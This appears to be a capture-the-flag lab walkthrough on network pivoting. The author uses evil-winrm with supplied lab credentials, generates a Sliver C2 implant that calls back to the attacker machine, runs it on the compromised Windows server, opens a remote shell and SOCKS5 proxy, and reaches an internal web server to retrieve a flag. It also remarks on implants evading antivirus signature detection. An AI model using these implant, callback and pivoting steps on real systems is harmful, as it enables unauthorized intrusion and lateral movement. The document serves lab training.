

Pivot Smarter-Network Pivoting with Sliver C2

→ You are likely having a scenario where you compromise one machine but in other machine you are trying to gain access to is behind a firewall or behind a different subnet. Your attack machine on its own cannot reach that internal machine. So what you need to do is, take your machine that you have compromised and setup some network pivoting or a socks proxy and then use that, so that from your attack machine you can connect to the internal machine.

1)Attack Machine	2)compromised server	3)Internal machine
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Objective:

You're a **penetration tester** on the **Hack Smarter Red Team**. During the engagement, you have discovered credentials for a web server but your attack machine does not have direct access to the server.

Goal:

You have already compromised a Windows Server providing you access to the internal network. Connect to this machine with `evil-winrm`. Use this Windows Server as a proxy to access the web server from your attack machine, login w/ the credentials, and retrieve the final flag.

Windows Server - Credentials

j.smith
HackSmarter123

Web Server - Credentials

t.ramsbey
HackSmarter123321123

→ When we do http://webserver ip, we are unable to go inside, it keeps on loading.

```
(karthik@vbox)-[~/HackSmarter/pivotsmarter]
$ sudo nmap -p 80 10.1.147.213 -Pn -v
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-04 09:37 IST
Initiating Parallel DNS resolution of 1 host. at 09:37
Completed Parallel DNS resolution of 1 host. at 09:37, 0.10s elapsed
Initiating SYN Stealth Scan at 09:37
Scanning 10.1.147.213 [1 port]
Completed SYN Stealth Scan at 09:37, 3.10s elapsed (1 total ports)
Nmap scan report for 10.1.147.213
Host is up.
```

```
PORT      STATE      SERVICE
80/tcp    filtered  http
```

```
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 3.47 seconds
Raw packets sent: 2 (88B) | Rcvd: 0 (0B)
```

```
(karthik@vbox)-[~/HackSmarter/pivotsmarter]
$
```

```
(karthik@vbox)-[~/HackSmarter/pivotsmarter]
$ evil-winrm -u j.smith -p 'HackSmarter123' -i 10.1.118.71

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\j.smith\Documents>
```

→ Let's try from windows server, do we able to hit the web server?

```
Session Actions Edit View Help
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\j.smith\Documents> curl http://10.1.147.213

StatusCode      : 200
StatusDescription : OK
Content          : <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
                  <html xmlns="http://www.w3.org/1999/xhtml">
                  <!--
                  Modified from the Debia ...
RawContent       : HTTP/1.1 200 OK
                  Vary: Accept-Encoding
                  Keep-Alive: timeout=5, max=100
                  Connection: Keep-Alive
                  Accept-Ranges: bytes
                  Content-Length: 10671
                  Content-Type: text/html
                  Date: Sat, 04 Oct 2025 04:14:48 GM ...
Forms            : {}
Headers          : {[Vary, Accept-Encoding], [Keep-Alive, timeout=5, max=100], [Connection, Keep-Alive], [Accept-Ranges, bytes] ...}
Images           : {[@{innerHTML=; innerText=; outerHTML=<IMG class=floating_element style="HEIGHT: 146px; WIDTH: 184px" alt="Ubuntu Logo" src="icons/ubuntu-
                    logo.png">; outerText=; tagName=IMG; class=floating_element; style=HEIGHT: 146px; WIDTH:
                    184px; alt=Ubuntu Logo; src=icons/ubuntu-logo.png}]
InputFields      : {}
Links            : {[@{innerHTML=manual; innerText=manual; outerHTML=<A href="/manual">manual</A>; outerText=manual; tagName=A; href=/manual}, @{innerHTML=pu
                    blic_html; innerText=public_html; outerHTML=<A
                    href="http://httpd.apache.org/docs/2.4/mod/mod_userdir.html" rel=nofollow>public_html</A>; outerText=public_html; tagName=A; href=http://
                    httpd.apache.org/docs/2.4/mod/mod_userdir.html; rel=nofollow}, @{innerHTML=existing bug
                    reports; innerText=existing bug reports; outerHTML=<A href="https://bugs.launchpad.net/ubuntu/+source/apache2" rel=nofollow>existing bug
                    reports</A>; outerText=existing bug reports; tagName=A;
                    href=https://bugs.launchpad.net/ubuntu/+source/apache2; rel=nofollow}]
ParsedHtml       : System.__ComObject
RawContentLength : 10671
```

→ We are able to hit the web server from windows server. But from our attack machine, we are not able to hit the web server. Now there are multiple different ways that you can do pivoting.

```
(karthik@vbox)-[~/HackSmarter/pivotsmarter]
$ sliver
Connecting to localhost:31337 ...

  SLIVER

All hackers gain first strike
[*] Server v1.5.43 - e116a5ec3d26e8582348a29cfd251f915ce4a405
[*] Welcome to the sliver shell, please type 'help' for options

[*] Check for updates with the 'update' command

sliver > 
```

→ But step number 1 is we want to generate an implant a .exe binary that we can transfer to the victim machine, so we can get a sliver session. And we are going to use that session to set up a sock proxy.

→ There are multiple different types of implants that you can do, but MTLS is relatively secure and easy to create.

→ One of the cool things about the sliver is what's called dynamic compilation. Every time you generate a sliver implant, it's actually a brand new implant, it has a new signature. Now, most AV's and EDR's don't just rely on signature detection but because of the dynamic compilation of sliver, it helps evade most types or I shouldn't say most, many types of signature detection because each new sliver implant is dynamically generated and has a new signature and a new hash. But it's going to do some basic symbol obfuscation as part of just your implant built into sliver and once it's done it will spit out that binary for us.

```
[*] Check for updates with the 'update' command

sliver > generate --mtls 10.200.8.85:443 --save /home/karthik/HackSmarter/pivotsmarter/pivot.exe --os windows

[*] Generating new windows/amd64 implant binary
[*] Symbol obfuscation is enabled
[*] Build completed in 36s
[*] Implant saved to /home/karthik/HackSmarter/pivotsmarter/pivot.exe

sliver > 
```

→ Transferring pivot.exe to evil-winrm.

```

*Evil-WinRM* PS C:\Users\j.smith\Documents> upload pivot.exe

Info: Uploading /home/karthik/HackSmarter/pivotsmarter/pivot.exe to C:\Users\j.smith\Documents\pivot.exe
Data: 21055488 bytes of 21055488 bytes copied

Info: Upload successful!
*Evil-WinRM* PS C:\Users\j.smith\Documents> dir

Directory: C:\Users\j.smith\Documents

```

```

Mode                LastWriteTime         Length Name
----                -
-a-----         10/4/2025   5:15 AM         15791616 pivot.exe

```

→ Setuping a listener

```

sliver > mtlS -L 10.200.8.85 -l 443

```

```

[*] Starting mTLS listener ...

```

```

[*] Successfully started job #1

```

```

sliver > jobs

```

ID	Name	Protocol	Port	Stage Profile
1	mtls	tcp	443	

```

sliver >

```

→ Run pivot.exe

```

*Evil-WinRM* PS C:\Users\j.smith\Documents> ./pivot.exe
*Evil-WinRM* PS C:\Users\j.smith\Documents>

```

```

sliver > jobs

```

ID	Name	Protocol	Port	Stage Profile
1	mtls	tcp	443	

```

[*] Session 9803b9be MIGHTY_CABLE - 10.1.118.71:49816 (EC2AMAZ-IIE0STR) - windows/amd64 - Sat, 04 Oct 2025 10:50:00 IST

```

```

sliver > sessions

```

ID	Transport	Remote Address	Hostname	Username	Operating System	Health
9803b9be	mtls	10.1.118.71:49816	EC2AMAZ-IIE0STR	j.smith	windows/amd64	[ALIVE]

```

sliver >

```

→ Now, interact with that session, there's different ways to do this but one way is this.

```
sliver > sessions -i 9803b9be

[*] Active session MIGHTY_CABLE (9803b9be)

sliver (MIGHTY_CABLE) > 
```

→ From here, we have an active sliver c2 session on our victim machine.

```
sliver (MIGHTY_CABLE) > whoami

Logon ID: EC2AMAZ-IIE0STR\j.smith
[*] Current Token ID: EC2AMAZ-IIE0STR\j.smith
sliver (MIGHTY_CABLE) > shell

? This action is bad OPSEC, are you an adult? Yes

[*] Wait approximately 10 seconds after exit, and press <enter> to continue
[*] Opening shell tunnel (EOF to exit) ...

[*] Started remote shell with pid 2252

PS C:\Users\j.smith\Documents> exit
exit
Shell exited

sliver (MIGHTY_CABLE) > 
```

→ ctrl+d to get back into the sliver session.

```
sliver (MIGHTY_CABLE) > socks5 start

[*] Started SOCKS5 127.0.0.1 1081
△ In-band SOCKS proxies can be a little unstable depending on protocol

sliver (MIGHTY_CABLE) > 
```

→ We now have a sock proxy running via our sliver session and we can now pivot into the internal network. Now you do need to make sure etc proxy chains 4 configuration file on kali linux is configured properly.

```
#      proxy types: http, socks4, socks5, raw
#      * raw: The traffic is simply forwarded to the proxy without modification.
#      ( auth types supported: "basic"-http "user/pass"-socks )
#
[ProxyList]
# add proxy here ...
# meanwhile
# defaults set to "tor"
socks4 127.0.0.1 9050
socks5 127.0.0.1 1081
```

→ Now let's connect to web server, this time with proxy.

```

(karthik@vbox)-[~]
$ proxychains -q nmap -p 80 10.1.147.213 -sT -Pn -v
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-04 11:16 IST
Initiating Parallel DNS resolution of 1 host. at 11:16
Completed Parallel DNS resolution of 1 host. at 11:16, 0.09s elapsed
Initiating Connect Scan at 11:16
Scanning 10.1.147.213 [1 port]
Completed Connect Scan at 11:17, 2.00s elapsed (1 total ports)
Nmap scan report for 10.1.147.213
Host is up.

PORT      STATE      SERVICE
80/tcp    filtered  http

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 2.12 seconds

```

```

(karthik@vbox)-[~]
$ proxychains -q curl http://10.1.147.213
curl: (7) Failed to connect to 10.1.147.213 port 80 after 0 ms: Could not connect to server

(karthik@vbox)-[~]

```

→ These two need to work, for me not worked.

→ Now create foxy proxy socks5

```

(karthik@vbox)-[~/HackSmarter/pivotsmarter]
$ proxychains -q dirsearch -u http://10.1.147.213/
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

dirsearch v0.4.3

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /home/karthik/HackSmarter/pivotsmarter/reports/http_10.1.147.213/25-10-04_11-42-16.txt
Target: http://10.1.147.213/
[11:42:16] Starting:
Cannot connect to: 10.1.147.213
Task Completed

(karthik@vbox)-[~/HackSmarter/pivotsmarter]

```

→ This dirsearch also needs to work.

← → ↻ 🏠 10.1.147.213/login.html

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Hack Smarter Login

Username:

Password:

Login

Congratulations!

You have successfully logged in.

The flag is: `3c834c9354e8bdd928d49bbbbeddf419a`